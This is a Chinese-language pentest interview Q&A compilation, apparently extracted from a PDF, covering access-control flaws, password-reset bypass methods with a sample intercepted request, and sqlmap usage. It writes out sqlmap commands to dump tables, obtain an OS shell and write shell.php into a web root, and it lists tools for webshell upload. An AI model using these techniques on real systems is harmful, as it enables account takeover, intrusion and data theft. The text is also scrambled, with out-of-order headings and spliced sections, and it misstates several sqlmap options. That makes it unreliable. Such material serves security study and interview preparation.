实现应用程序的完善的访问控制不是件容易的事,因此越权漏洞防不胜防。对于开发者而言,一定要有安全意识,时刻保持警惕。以下是几点建议:#
永远不要相信来自客户端(用户)的输入!#
执行关键操作前必须验证用户身份,多阶段功能的每一步都要验证用户身份。#
对于直接对象引用,加密资源ID,以防止攻击者对ID进行枚举。#
在前端实现的验证并不可靠,前端可以验证用户的输入是否合规,在服务器端验证用户权限。#
3 、越权漏洞怎么挖#
4 、总结#
https://www.onlinebank.com/viewInfo.php?accountId=12345678一、局部纵向越权解决方案:#
把这种越权问题,作为整块测试任务来做。新建自动化测试Case,让每一个接口(尤其是涉及分级的接口)都要有多个不同级别的用户进行权限校验。根据断言和数据库一致性 (必须,有时候接口返回的成功,并不一定是成功),来判断是否存在越权问题。
操作流程如下:
1 、添加最高级别用户S的测试Case
2 、添加普通用户A的自动化测试Case
3 、添加低级别用户B的自动化测试Case
4 、多用户统一访问仅开放给S级别用户接口。Case通过条件:A、B访问失败
5 、S、A、B循环第四步
二、横向越权解决方案:
搭建一个横向越权mock数据系统。
1 、输入为:接口url ,以及正常的json 串。
2 、处理过程:对url和json串进行比对,找到两者相同字段。
3 、系统修改一致字段对应value
4 、输出一组或者几组测试数据
5 、将mock出来的数据,进行自动化测试。
6 、验证是否存在横向越权。
越权访问(Broken Access Control,简称BAC)是Web应用程序中一种常见的漏洞,由于其存在范围广、危害大,被OWASP列为Web应用十大安全隐患的第二名。
该漏洞是指应用在检查授权时存在纰漏,使得攻击者在获得低权限用户账户后,利用一些方式绕过权限检查,访问或者操作其他用户或者更高权限。越权漏洞的成因主要是因为 开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定。越权访问漏洞主要分为水平越权访问和垂直越权访问。
水平越权访问是一种“基于数据的访问控制”设计缺陷引起的漏洞。由于服务器端在接收到请求数据进行操作时没有判断数据的所属人/所属部门而导致的越权数据访问漏洞。#
5 、友情补充#
越权访问漏洞#
水平越权访问漏洞#
假设用户A和用户B属于同一角色,拥有相同的权限等级,他们能获取自己的私有数据(数据A和数据B),但如果系统只验证了能访问数据的角色,而没有对数据做细分或者校#
验,导致用户A能访问到用户B的数据(数据B),那么用户A访问数据B的这种行为就叫做水平越权访问。#
垂直越权是一种“基于URL的访问控制”设计缺陷引起的漏洞,又叫做权限提升攻击。#
由于后台应用没有做权限控制,或仅仅在菜单、按钮上做了权限控制,导致恶意用户只要猜测其他管理页面的URL或者敏感的参数信息,就可以访问或控制其他角色拥有的数据#
或页面,达到权限提升的目的。#
验证码越权指的是在不合法或未经授权的情况下,利用验证码进行某些操作或获取某些信息的行为。以下是几种常见的验证码越权行为:#
1.利用爬虫程序或恶意软件自动化破解验证码,绕过网站的安全验证机制,获取敏感信息。#
垂直越权访问漏洞#
防范措施#
1. 前后端同时对用户输入信息进行校验,双重验证机制#
2. 调用功能前验证用户是否有权限调用相关功能#
3. 执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限#
4. 直接对象引用的加密资源ID,防止攻击者枚举ID,敏感数据特殊化处理#
5. 永远不要相信来自用户的输入,对于可控参数进行严格的检查与过滤#
五、验证码越权有哪些?#
2.利用社会工程学手段,通过欺骗、诈骗等方式获取他人的验证码,进而实施不法行为。#
3.利用暴力破解技术,通过尝试多个可能的验证码组合,从而获取访问权限。#
4.利用已泄露的验证码或者使用同一验证码,多次登录或提交信息,从而绕过验证机制,进行非法操作。#
这些行为都是违法的,可能导致用户信息泄露、损失财产等问题,因此我们要时刻保持警惕,避免成为验证码越权行为的受害者。#
目录遍历漏洞是一种常见的Web安全漏洞,攻击者可以利用该漏洞获取Web服务器上的敏感文件或目录,例如密码文件、配置文件、源代码等。攻击者通过输入恶意的URL参 数,绕过应用程序的输入验证,进而访问与应用程序本身不应被访问的文件或目录,造成安全问题。
目录遍历漏洞的原理是攻击者通过构造恶意的URL参数,将路径截断,从而访问应用程序之外的文件或目录。例如,攻击者将URL参数设置为"../",就可以访问上级目录;如果将 URL参数设置为"../../",就可以访问更高级的目录。攻击者还可以通过使用特殊字符,例如%00(空字符)、%2e%2e%2f(../)等来绕过应用程序的输入验证。
为了修复目录遍历漏洞,可以采取以下几个措施:
任意注册账号原理:任意注册账号漏洞是指攻击者可以通过某种方式绕过系统的注册流程,直接创建一个新的账号,并且具备普通用户所具有的权限。这种漏洞可能会导致恶意#
用户在系统中盗取、篡改、删除数据等危害。#
修复方法:修复任意注册账号漏洞的方法主要有以下几种:#
1.对注册流程进行严格的验证,确保只有经过认证的用户才能够成功注册账号。#
2.对注册过程中的输入数据进行严格的过滤,防止恶意用户注入恶意代码。#
3.增加验证码等人机验证机制,防止机器人注册。#
4.对账号注册等操作进行日志记录和监控,及时发现并处理异常情况。 任意用户#
密码重置漏洞原理:任意用户密码重置漏洞是指攻击者可以通过某种方式绕过系统的密码重置流程,直接修改另一个用户的密码,从而获取该用户的权限。#
修复方法:修复任意用户密码重置漏洞的方法主要有以下几种:#
1.对密码重置流程进行严格的验证,确保只有经过认证的用户才能够成功重置密码。#
2.增加验证码等人机验证机制,防止机器人攻击。#
3.设置密码复杂度要求,强制用户使用安全的密码。#
4.对密码重置等操作进行日志记录和监控,及时发现并处理异常情况。#
5.对系统进行定期的安全审计,及时发现并修复漏洞。#
任意用户密码重置漏洞是:未经用户本身授权,非法修改任意账号密码的一种攻击方式;任意用户密码重置影响系统的稳定性,可由此作为攻击入口,进行持续攻击。#
1.1、检测方法#
获取验证码时,由于验证码不失效,可针对验证码进行枚举。#
1.2、修复方法#
1 、优先进行验证码的校验。#
2 、验证码校验过一次即失效,再次验证需要重新生成新的验证码。#
3 、设定提交校验的验证码的有效期,时间不宜过长。#
4 、验证码的校验应当在服务器端进行,避免客户端校验,以防绕过。#
六、说一下目录遍历原理与修复#
1. 对用户输入进行合理的过滤和验证,避免恶意的URL参数进入应用程序中。#
2. 使用绝对路径而非相对路径来引用文件或目录,避免发生目录遍历漏洞。例如,可以使用Web应用程序的根目录来引用文件,而非使用相对路径。
3. 对应用程序之外的文件或目录进行访问控制,限制访问范围,避免攻击者利用目录遍历漏洞获取敏感信息。
4. 对应用程序中的敏感信息进行加密和保护,例如使用加密存储密码、限制文件访问权限等。
5. 对Web服务器进行安全配置,例如禁用不必要的服务、限制文件上传大小和类型等。七、说一下任意注册账号原理与修复说一下任意用户密码重置漏洞#
八、任意密码重置有哪些方式?如何去修复这种漏洞?#
一、验证码设计缺陷#
1 、验证码不失效#
常见的任意用户密码重置类型大致分为四种:
1 、验证码设计缺陷
2 、绕过验证方式
3 、权限未绑定
4 、数据库未授权访问2.1、检测方法#
重置密码过程中,通过手机号获取验证码,但重置密码时仅校验了验证码是否正确,未对手机号和验证码的关联性做验证。#
2.2、修复方法#
校验手机号和验证码是否匹配。#
3.1、检测方法#
发送获取验证码的请求,抓取响应,在响应包中可查看验证码。#
3.2、修复方法#
验证码避免返回在响应中。#
1.1、检测方法#
密码重置页面五任何验证,通过账号,给定验证码及新密码即可更改。#
1.2、修复方法#
验证手机用户的有效性,获取短信验证码,确认重置密码时,验证手机号与短信验证码是否匹配。#
2.1、检测方法#
此方法一般是通过拦截响应包,修改响应中的code等参数,将其更改未成功验证的值,进行绕过。
2.2、修复方法
设置密码界面,提交修改密码处再次验证验证码。
3.1、检测方法#
重置密码的链接可在前端js中获取,直接访问重置密码的URL进行用户密码重置。
3.2、修复方法
修改js代码,删除密码重置api,严格控制用户权限。
4.1、检测方法#
找回密码时,系统发送一个找回密码的链接到邮箱中,访问此链接,在URL中会明文显示出邮箱,并在页面中显示处邮箱和手机号,输入新密码,成功设置。#
4.2、修复方法#
URL中不明文显示email、id、手机号等敏感信息;手机号等信息不自动显示、链接中增加随机值校验。
1.1、检测方法#
重置密码时未鉴权、未校验手机号是否与此用户匹配#
1.2、修复方法#
对用户进行鉴权,判断id是否为当前用户的id;更新密码时,验证旧密码。
2.1、检测方法#
用攻击者的session替换攻击者的session,绕过系统验证,重置被攻击者的密码。
2.2、修复方法
判断session与用户的匹配关系。
3.1、检测方法#
更新密码时未进行鉴权,可通过修改请求中ID等参数修改其他用户密码。#
3.2、修复方法#
对用户进行鉴权,判断id是否为当前用户的id;更新密码时,验证旧密码。
2 、仅判断验证码是否正确#
3 、验证码在响应中返回#
二、绕过验证方式#
1 、无任何验证#
2 、修改返回包,绕过验证#
3 、直接访问设置密码界面#
4 、邮箱中密码重置连接可fuzzing#
三、权限未绑定#
1 、未判断手机号是否与用户绑定#
2 、Session覆盖导致任意用户密码重置#
3 、越权导致修改任意用户密码#
数据库未授权访问,导致可直接访问数据库中的users表,修改任意用户的密码。 修复建议:对数据库设置访问权限,禁止未授权访问。
得到正确的验证码是 1059 然后到网站上输入验证码跳转到输入新密码的页面完成重置密码#
四、数据库未授权导致#
九、怎么进行任意密码重置?除了你说的任意密码重置方法,还有其他的方法吗?任意用户注册有哪#
些防御方法?#
1 验证码不失效#
造成原因:找回密码的时候获取的验#
证码缺少时间限制仅值判断了验证码是#
够正确未判断验证码是否过期#
测试方法:通过枚举找到真正的验证#
码输入验证码完成验证#
- 案例#
输入目标手机号,获取验证码随意输入验证码 1234 点击下一步,拦截数据包#
POST /Account/CheckYQCode HTTP/1.1
Host: http://www.xxxx.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
http://www.xxxx.cn/userCenter/toForgetPsdPage.html?mobile=
Content-Length: 11
Cookie: ASP.NET_SessionId=30jfruwn22h2xng3ahhzo2jx
Connection: close YQCode=12342 验证码直接返回#
1.输入目标手机号,#
点击获取验证码#
2.验证码直接返回#
1269 ,输入验证#
码跳转到重置页面#
3.验证码未绑定用户#
造成原因:输入手机号和验证码进行重置密码的时候,仅对验证码是够正确进行了判断,未对该验证码是否与手机号匹配做验证。#
测试方法:在提交手机号和验证码的时候,替换手机号为他人手机号进行测试,成功通过验证并重置他人密码。#
首先使用自己的手机号接收验证码然后输入自己手机号接收到的验证码,点击下一步并拦截数据包最后替换数据包里的目标手机号,然后发包#
这个案例也是验证码未绑定用户延伸一下,有时候测试会碰到这种,我们发现用户名被加密了,我们又无法得知加密算法,怎么办?大部分这种都不需要知道加密算法,比如这#
个例子,得到的liuyy的加密后的值是80e688602c4b11e66320c421e3b71ef2,那么我们就可以直接用这个keycode了
步骤是一样的,输入我们的用户名和收到的验证码,然后把我们的keycode替换为liuyy的那个keycode,这样就可以重置liuyy的密码了。(漏洞原因还是是判断了验证码是否正 确,而没有判断该验证码是否跟该用户匹配。)
4.修改接收的手机或邮箱#
造成原因:用户名、手机号、验证码三者没有统一进行验证,仅判断了三者中的手机号和验证是否匹配和正确,如果正确则判断成功并进入下一流程。#
测试方法:输入用户名获取验证码,修改接收验证码的手机号为自己的号码,自己手机成功接收验证码,提交到网站进行验证,验证成功并进入下一流程。#
点击找回密码,首先我们输入zhangwei,然后点击获取验证码,这个时候把手机号改为我们自己的号码,输入我们自己的号码和验证码,成功跳到重置密码的页面,密码重置成 功
输入手机号 13888888888 ,输入验证码 123456 ,验证码错误的时候,返回包返回的是 0#
5 本地验证的绕过#
造成原因:客户端在本地进行验证码是否正确的判断,而该判断结果也可以在本地修改,最终导致欺骗客户端,误以为我们已经输入了正确的验证码。#
测试方法:重置目标用户,输入错误验证码,修改返回包,把错误改为正确,即可绕过验证步骤,最终重置用户密码。#
这里我们所做的就是把 0 修改为 1 ,可以借工具修改返回包,我们把 0 改为 1 ,然后查看页面,成功跳转到修改密码的页面,输入新密码即可修改用户 13888888888 的密码#
6 跳过验证步骤#
造成原因:对修改密码的步骤,没有做校验,导致可以直接输入最终修改密码的网址,直接跳转到该页面,然后输入新密码达到重置密码的目的。#
测试方法:首先使用自己的账号走一次流程,获取每个步骤的页面链接,然后记录页面 3 对应的输入新密码的链接,重置他人用户时,获取验证码后,直接输入页面 3 链接到#
新密码的界面,输入密码重置成功。#
使用账户wangshuai,点击获取验证码,然后补齐下面的链接https://xxx/page/login/veifyAccess.html?username=wangshuai&email=wangshuai@xxx.com.cn,访问后即可 直接重置该用户的密码
7 未校验用户字段的值#
造成原因:在整个重置密码的流程中,只对验证码和手机号做了校验,未对后面设置新密码的用户身份做判断,导致在最后一步通过修改用户身份来重置他人的密码。#
测试方法:使用自己的手机号走流程,在走到最后一个设置密码的流程时,修改数据包里的用户信息。#
8 修改密码处id可替换#
造成原因:修改密码的时候,没有对原密码进行判断,且根据id的值来修改用户的密码,类似的SQL语句:update user set password="qwer1234" where id = ‘1’修改数据
包里的id的值,即可修改他人密码。
测试方法:修改自己用户密码,抓取数据包,替换数据包中用户对应的id值,即可修改他人的密码。点击立即提交,得到右边的数据包,测试发现修改id为 5 ,就可以把对应的用户密码修改为 123456 ,没有对用户的原始密码判断,也没有判断id是否属于该用户。8.修改密码处id 可替换
成功修改id为 5 的用户密码为 123456 ,而且可以通过遍历id修改所有用户的密码
9.cookie值的替换#
造成原因:重置密码走到最后一步的时候仅判断唯一的用户标识cookie是否存在,并没有判断该cookie有没有通过之前重置密码过程的验证,导致可替换cookie重置他人用
户密码。(cookie可指定用户获取)
测试方法:重置自己用户密码到达最后阶段,抓到数据包,并在第一阶段重新获取目标用户cookie,替换cookie到我们抓取的数据包中,发包测试。到第一步去获取验证码的时候,点击下一页,可以获取到该用户wangshuai对应的内容Cookie: JSESSIONID=E1AC27A7302C03C9432DE2254B99311A
10.修改信息时替换字段值#
造成原因:在执行修改信息的sql语句的时候,用户的密码也当作字段执行了,而且是根据隐藏参数loginid来执行的,这样就导致修改隐藏参数loginid的值,就可以修改他
人的用户密码。
测试方法:修改个人资料的时候,抓取数据包,然后来修改数据包的参数和对应的值,参数名一般可以在其他地方找到,替换隐藏参数即可修改他人的密码等信息。view-source:https://www.xxx.com/ua/employee/forUpdate.do查看下这个页面的源代码,找到了一个参数loginId,这个参数是对应用户身份的而我们发现 上面的数据包里没 有这个参数,那么我们是否可以自己添加上去呢?
添加字段loginId,并且把值修改为他人的用户,发包返回修改成功这样我们就成功的把用户871XXXXXX的密码改为了跟我们密码相同的值
代码执行绕过是指攻击者通过某种方式绕过系统的安全机制,执行恶意代码或者获取系统权限的一种攻击方式。常见的代码执行绕过攻击方式主要有以下几种:#
1.文件上传漏洞:攻击者通过上传恶意文件的方式绕过系统安全机制,实现恶意代码执行。#
2.目录遍历漏洞:攻击者通过目录遍历漏洞获取系统敏感文件的路径,然后通过文件读取漏洞执行恶意代码。#
3.SQL注入漏洞:攻击者通过SQL注入,执行恶意SQL语句,从而实现恶意代码执行。#
4.命令注入漏洞:攻击者通过命令注入,执行恶意命令,实现获取系统权限的目的。#
5.XSS漏洞:攻击者通过XSS漏洞注入恶意脚本,执行恶意代码。#
为了防止代码执行绕过攻击,我们可以采取以下措施:#
1.对上传的文件进行过滤和验证,确保只有符合规定的文件才能被上传和执行。#
2.对用户输入的数据进行严格的过滤和验证,防止SQL注入、命令注入等攻击。#
3.对系统中的敏感文件和目录进行权限控制,防止目录遍历漏洞的利用。#
4.使用防火墙、入侵检测系统等安全设备,监控系统中的异常流量和攻击行为。#
5.定期对系统漏洞进行安全审计和修复,及时发现并解决安全问题。#
6.对系统进行安全加固和加密,提高系统的安全性和抵抗能力。#
代码执行本质上是调用后端语言(PHP,JAVA……)来执行特定代码,而命令执行本质是调用系统的命令执行的接口,与对于的不同的语言无关,只与系统的版本有关。#
代码执行相关函数#
命令执行相关函数#
goby 是一款基于 golang 开发的开源漏洞扫描器,主要用于网络安全领域中的漏洞扫描和安全评估等任务。goby 具有易于使用、扩展性强、支持多种协议等特点,可以帮助安全 工程师更高效地发现网络中的漏洞和安全问题。
goby 自带了一些小插件,主要包括以下几个方面:
Web 扫描器插件:支持对 Web 应用进行漏洞扫描,包括 SQL 注入、XSS、CSRF 等常见漏洞的检测; 操作系统漏洞扫描器插件:支持对操作系统进行漏洞扫描,包括 Windows、Linux 等操作系统的漏洞检测; 工具插件:支持对一些常用工具的集成,例如 Nmap、Masscan 等。
十、说一下代码执行绕过#
十一、命令执行和远程代码执行的区别#
第十四章 工具、SQLmap#
一、goby 用过吗?你一般用来做什 1 么?goby 自带扩展小插件你用过哪些?说一下使用御剑和#
dirsearch 各自的优点与缺点?#
御剑#
优点:#
功能全面:御剑支持多种扫描模式,包括 SQL 注入、文件包含、XSS、命令执行等;#
界面友好:御剑的用户界面非常友好,操作简单,适合新手入门;#
速度快:御剑使用多线程扫描技术,扫描速度较快。#
缺点:#
精度不高:御剑的扫描结果可能会有误报或漏报;#
扩展性差:御剑的插件机制不够灵活,无法满足一些高级用户的需求;#
容易被检测:御剑的扫描特征比较明显,容易被目标网站检测到。#
dirsearch 优点: 快速:dirsearch 使用异步扫描技术,扫描速度较快; 精度高:dirsearch 的扫描结果比较准确,误报率较低; 支持自定义字典:dirsearch 支持用户自定义字典,可以根据实际情况制定适合的字典进行扫描。 缺点: 功能相对简单:dirsearch 的功能相对简单,只支持目录扫描等基础功能; 无界面支持:dirsearch 是一个命令行工具,没有图形化界面支持,不太适合新手入门; 不支持多种扫描模式:dirsearch 目前只支持目录扫描等基础功能,不支持其他漏洞扫描模式。
文件上传 webshell 的工具:
1.Metasploit Framework:Metasploit Framework 可以通过利用漏洞来上传 2.webshell,同时也支持手动上传 webshell。 3.Cobalt Strike:Cobalt Strike 是一款强大的渗透测试工具,可以通过“beacon”插件上传 webshell。 4.Nmap:Nmap 可以通过使用漏洞扫描脚本来检测目标主机是否存在文件上传漏洞,并上传 webshell。 5.Burp Suite:Burp Suite 可以通过代理拦截上传请求并修改参数来上传 webshell。 6.FileZilla:FileZilla 是一款常用的 FTP 客户端工具,可以利用 FTP 上传 webshell。
子域名挖掘使用的工具: 1.Sublist3r:Sublist3r 是一款 Python 编写的子域名枚举工具,支持多种搜索引擎。 2.Amass:Amass 是一款功能强大的子域名发现工具,支持多种搜索引擎和 API。 3.Aquatone:Aquatone 是一款子域名发现和截图工具,可以快速发现子域名并生成漂亮的截图。 4.Knockpy:Knockpy 是一款基于 Python 的子域名枚举工具,可以通过 DNS 查询和搜索引擎来查找子域名。 5.The Harvester:The Harvester 可以通过搜索引擎和 DNS 查询来查找目标域名的子域名。
1.基本命令:#
2.注入检测:#
3.高级使用:#
二、知道哪些文件上传 webshell 的工具?子域名挖掘使用的工具有哪些?#
三、列举一下 SQLmap 常用命令#
sqlmap -u:指定目标 URL。- sqlmap -d:指定目标数据库。- sqlmap -r:指定 HTTP 请求文件。- sqlmap -p:指定注入点参数。- sqlmap -b:指定过滤 WAF 的技
术。- sqlmap -v:设置详细程度。sqlmap --dbs:显示所有可用的数据库。- sqlmap --tables -D database:显示数据库中的所有表。- sqlmap --columns -T table -D database:显示表中的所有
列。- sqlmap --dump -T table -D database:显示表中的所有数据。- sqlmap -u URL --data data --cookie cookie --level 5 --risk 3 --batch:基本的注入检测
命令。sqlmap --os-shell:获取操作系统 shell。- sqlmap --sql-shell:获取 SQL shell。- sqlmap --file-read:读取文件。- sqlmap --file-write:写入文件。- sqlmap -- priv-esc:提升权限。- sqlmap –proxy:设置代理服务器。- sqlmap –time-sec:设置延迟时间。 以上仅是 SQLmap 常用命令的一部分,更多的命令可以通过 sqlmap –help 查看。
四、sqlmap 高级语法,自带的 temper 脚本你了解哪些?为什么 sqlmap 有时候扫描的快有时候扫#
描特别慢? sqlmap 上传的文件命令是什么?#
1. SQLmap 高级语法:- --threads:设置线程数量。- --delay:设置请求延迟时间。- --timeout:设置超时时间。- --skip-urlencode:跳过 URL 编码。- --tamper:指
定自定义的注入技巧脚本。- --flush-session:清空会话数据。- --hex:指定十六进制编码。- --dbms:指定数据库类型。- --technique:指定注入技术。- --level:指
定注入等级。- --risk:指定注入风险等级。
2. SQLmap 自带的 temper 脚本:SQLmap 自带多种注入技巧脚本,用于绕过 WAF 或者检测 SQL 注入漏洞。常用的 temper 脚本包括:- apostrophemask.py:使用单引
号作为注入符号。- apostrophenullencode.py:使用单引号进行注入,但是在编码时会将单引号替换为 %00。- base64encode.py:使用 base64 编码进行注入。-
chardoubleencode.py:使用两次 URL 编码进行注入。- charunicodeencode.py:使用 Unicode 编码进行注入。- equaltolike.py:将等于号替换为 LIKE 进行注
入。
3. SQLmap 扫描速度慢的原因:- 目标网站响应速度慢。- 使用了低配的计算机或网络环境。- 目标网站的防火墙或 WAF 阻拦了大量的请求。SQLmap 可以通过使用以下命令来查看数据库用户的权限: sqlmap -u “http://www.example.com/index.php?id=1" –current-user –current-db 其中,–current-user 参数可以用来显示当前登录的用户,而 –current-db 参数可以用来显示当前使用的数据库。 关于 –os-shell 参数,它可以用来获取操作系统 Shell,使得攻击者可以在受攻击 的系统上执行操作系统命令,因此需要谨慎使用。使用 –os-shell 参数时,SQLmap 会尝试获取操作系统 Shell,并在获取成功后打开一个交互式 Shell。如果你想要使用该参 数,可以按照以下命令进行操作: sqlmap -u “http://www.example.com/index.php?id=1" –os-shell 在使用时,请确保已经获得足够的授权,以及遵循当地法律法规。
SQLmap 支持的探测方式包括以下几种:
1.基于错误的探测方式
SQLmap 可以通过发送特定的恶意请求,来触发目标应用程序的异常响应。通过分析异常响应的内容,SQLmap 可以推断出目标应用程序是否存在 SQL 注入漏洞。
SQLmap 可以通过发送特定的恶意请求,来测试目标应用程序的响应时间。通过分析响应时间的长短,SQLmap 可以推断出目标应用程序是否存在 SQL 注入漏洞。
SQLmap 可以通过发送特定的恶意请求,来测试目标应用程序是否能够正确地处理真值和假值。通过分析响应的内容,SQLmap 可以推断出目标应用程序是否存在 SQL 注入漏 洞。
SQLmap 可以通过发送特定的联合查询语句,来获取目标应用程序的数据库信息。通过分析响应的内容,SQLmap 可以推断出目标应用程序是否存在 SQL 注入漏洞。 总之, SQLmap 是一款功能强大的 SQL 注入工具,支持多种探测方式,可以帮助安全测试人员快速、准确地检测目标应用程序是否存在 SQL 注入漏洞。
SQLmap 的常用参数包括:1. -u:指定目标 URL。2. -r:指定 HTTP 请求文件。3. -p:指定注入点参数。4. -D:指定数据库名。5. -T:指定数据表名。6. -C:指定列名。7. –current-user:显示当前用户。8. –current-db:显示当前数据库。9. –os-shell:获取操作系统 Shell。10. –dump:显示数据表中的数据。11. –threads:设置线程数 量。12. –level:设置注入等级。13. –risk:设置注入风险等级。14. –batch:批量模式,在不需要人工交互时使用。 如何爆字段:可以使用 SQLmap 的 - D、-T、-C 参 数来指定需要爆破的数据库名、数据表名和列名,使用 –dump 参数来显示数据表中的数据。
查看当前用户权限并提权:可以使用 SQLmap 的 –current-user 参数来显示当前登录用户,使用 –current-db 参数来显示当前使用的数据库。如果需要提权,则可以使用 – os-shell 参数来获取操作系统 Shell,使得攻击者可以在受攻击的系统上执行操作系统命令。
SQLmap 不会检查自身是否具有 root 权限,因为它并不需要 root 权限来运行。SQLmap 是一款 Python 编写的工具,通常在 Linux 系统上运行。如果你在 Linux 系统上以 root 用户身份运行 SQLmap,则 SQLmap 可能会获得更高的权限,从而能够执行更危险的操作,比如获取操作系统 Shell 或者执行系统命令。但是,这并不是 SQLmap 的默认行 为,也不是 SQLmap 被设计的初衷。 因此,如果你想要检查 SQLmap 是否以 root 权限运行,可以通过以下命令来查看 SQLmap 的进程号以及运行用户:ps aux | grep sqlmap如果 SQLmap 的运行用户为 root,则说明 SQLmap 是以 root 权限运行的。但是,请注意,不建议在生产环境中使用 root 权限来运行 SQLmap,因为这可能会导致系 统安全风险。
SQLmap 是一款自动化 SQL 注入工具,用于检测和利用 SQL 注入漏洞。它支持多种数据库类型和多种注入方式。常见的 SQLmap 查询数据库和请求方式如下: 查询数据库
4. SQLmap 上传文件的命令:使用 SQLmap 上传文件可以通过以下命令实现:sqlmap -r request.txt --file-write /var/www/html/shell.php --file-
dest=/var/www/html/shell.php其中,request.txt 是包含上传请求的文件,/var/www/html/shell.php 是上传的文件路径。五、说一下 sqlmap 查看数据库用户的权限,–os-shell 用过没?#
六、sqlmap 支持的探测方式?#
2. 基于时间的探测方式#
3. 基于布尔的探测方式#
4. 基于联合查询的探测方式#
七、说一下 sqlmap 的常用参数,如何爆字段,查看当前用户权限并提权#
八、sqlmap 怎么看它是不是 root 权限?#
九、说一下 SQLmap 查询数据库和请求方式,注入类型的命令#
显示当前数据库:--current-db- 显示所有数据库:--dbs- 切换到指定数据库:-D \<database_name\> 请求方式
GET 请求:-u \<target_URL\>- POST 请求:-u \<target_URL\> --data "\<post_data\>"- 请求文件:-r \<request_file\>- 从 Burp Suite 中读取请求:--
proxy=http://127.0.0.1:8080 --proxy-auth=\<username\>:\<password\> 注入类型的命令
检测 SQL 注入:-u \<target_URL\> --dbs --level=5 --risk=3- 获取数据库版本:-u \<target_URL\> --banner- 获取当前用户:-u \<target_URL\> --current-user- 获取
所有表:-u \<target_URL\> -D \<database_name\> --tables- 获取表中所有列:-u \<target_URL\> -D \<database_name\> -T \<table_name\> --columns- 获取表中所有数要查看指定的表,可以使用 SQLmap 的 –tables 参数。该参数用于列出指定数据库中的所有表。使用以下命令可以查看指定数据表的所有表:
上述命令中,-u 参数指定目标 URL,-D 参数指定要查询的数据库名称,–tables 参数用于列出指定数据库中的所有表。执行命令后,SQLmap 将列出指定数据库中的所有表。 如果想要查看指定表中的所有列,可以使用 –columns 参数。使用以下命令可以查看指定表的所有列:
上述命令中,-u 参数指定目标 URL,-D 参数指定要查询的数据库名称,-T 参数指定要查询的表名称,–columns 参数用于列出指定表中的所有列。执行命令后,SQLmap 将列 出指定表中的所有列。
- r 命令是 SQLmap 中的一个参数,用于指定 HTTP 请求文件。如果你已经通过其他手段获取了目标应用程序的 HTTP 请求,可以使用 - r 命令将请求文件传递给 SQLmap 进行 分析。这个参数通常会与 - u 命令一起使用,用于指定目标 URL 或者目标域名。使用 - r 命令时,不需要使用 - u 命令指定目标 URL。 如果你要使用 - r 命令指定请求文件,则 需要在命令后面跟上请求文件的路径。例如,以下命令将使用名为 request.txt 的文件作为输入:sqlmap -r request.txt 指定数据库类型是 SQLmap 中常用的另一个参 数。SQLmap 支持多种数据库类型,包括 MySQL、Oracle、PostgreSQL、Microsoft SQL Server 等。如果你知道目标应用程序使用的数据库类型,可以使用 - dbms 参数指定数 据库类型。例如,以下命令将 SQLmap 设置为使用 MySQL 数据库进行注入:sqlmap -u “http://www.example.com/index.php?id=1" –dbms=mysql 在 SQL 注入测试中, 指定数据库类型的参数非常重要,因为不同的数据库类型可能存在不同的注入方式和漏洞利用技术。如果你不确定目标应用程序使用哪种数据库类型,可以使用 –dbs 参数列出 所有可用的数据库类型。
要对一个注入点进行注入,可以使用 SQLmap 的 - u 参数指定目标 URL。例如,以下命令将对一个 URL 进行注入测试:sqlmap -u “http://www.example.com/index.php? id=1"在执行命令时,SQLmap 会自动检测目标 URL 是否存在 SQL 注入漏洞,并在发现漏洞时尝试利用漏洞获取数据库信息或执行其他操作。如果 SQLmap 没有自动检测到注 入点,可以使用 –data 参数指定 POST 参数或使用 - r 参数指定请求文件。SQLmap 还提供了许多其他选项和参数,可以根据具体的测试需求进行设置。例如,可以使用 – level 参数指定测试的深度,使用 –risk 参数指定测试的风险等级,使用 –threads 参数指定测试线程数等。
如果在使用 SQLmap 对 HTTPS 网站进行注入测试时出现错误,可能是由于 SSL/TLS 证书问题导致的。在默认情况下,SQLmap 会验证目标网站的 SSL/TLS 证书,如果证书无效 或过期,SQLmap 将无法建立 HTTPS 连接,从而导致测试失败。为了解决这个问题,可以使用 –ssl 参数,该参数用于禁用 SSL/TLS 证书验证。使用以下命令可以对 HTTPS 网 站进行注入测试并禁用证书验证:sqlmap -u “https://www.example.com/index.php?id=1" –ssl上述命令中,-u 参数指定目标 URL,–ssl 参数用于禁用 SSL/TLS 证书 验证。需要注意的是,禁用 SSL/TLS 证书验证可能会导致安全风险,因为这样就不能保证连接的安全性。
要运行 SQLmap 来查找数据库中的表名,可以使用 –tables 参数。以下是一个使用 –tables 参数的示例命令,用于查找名为 example_db 的数据库中的所有表名:sqlmap
- u “http://www.example.com/index.php?id=1" -D example_db –tables在上述命令中,-u 参数指定目标 URL,-D 参数指定要测试的数据库名称,–tables 参数用于指 示 SQLmap 列出指定数据库中的所有表名。SQLmap 将尝试在指定的数据库中发现所有可能的表名,并将它们列出到控制台或输出到文件中。
据:-u \<target_URL\> -D \<database_name\> -T \<table_name\> --dump 这些命令可以帮助安全测试人员快速、准确地检测目标应用程序是否存在 SQL 注入漏洞,并获取
相关数据库和表的信息。十、SQL map 如何查看指定的表?#
十一、sqlmap 命令:指定数据库类型 -r 命令是干什么的?#
十二、sqlmap 的 –dbms 是什么?#
十三、sqlmap 怎么对一个注入点注入?#
十四、sqlmap 如果跑 https 的数据包时报错怎么解决?#
十五、sqlmap 怎么跑表名?#
十六、使用 sqlmap -os-shell 发现命令执行不了 whami,你怎么判断出不出网用 dnslog 就可以#
了?#
--dbms` 是 SQLmap 的一个参数,用于指定目标应用程序使用的数据库类型。SQLmap 支持多种数据库类型,包括 MySQL、Oracle、PostgreSQL、Microsoft SQL Server 等。指
定数据库类型是 SQLmap 中非常重要的一个步骤,因为不同的数据库类型可能存在不同的注入方式和漏洞利用技术。在使用 SQLmap 进行 SQL 注入测试时,我们需要确定目标应用程序使
用的数据库类型,并使用相应的注入方式和漏洞利用技术。 使用 `--dbms` 参数指定数据库类型非常简单。例如,以下命令将 SQLmap 设置为使用 MySQL 数据库进行注入:`sqlmap -
u "http://www.example.com/index.php?id=1" --dbms=mysql`在上述命令中,`-u` 参数指定目标 URL,`--dbms` 参数指定目标应用程序使用的数据库类型。如果你不确定目
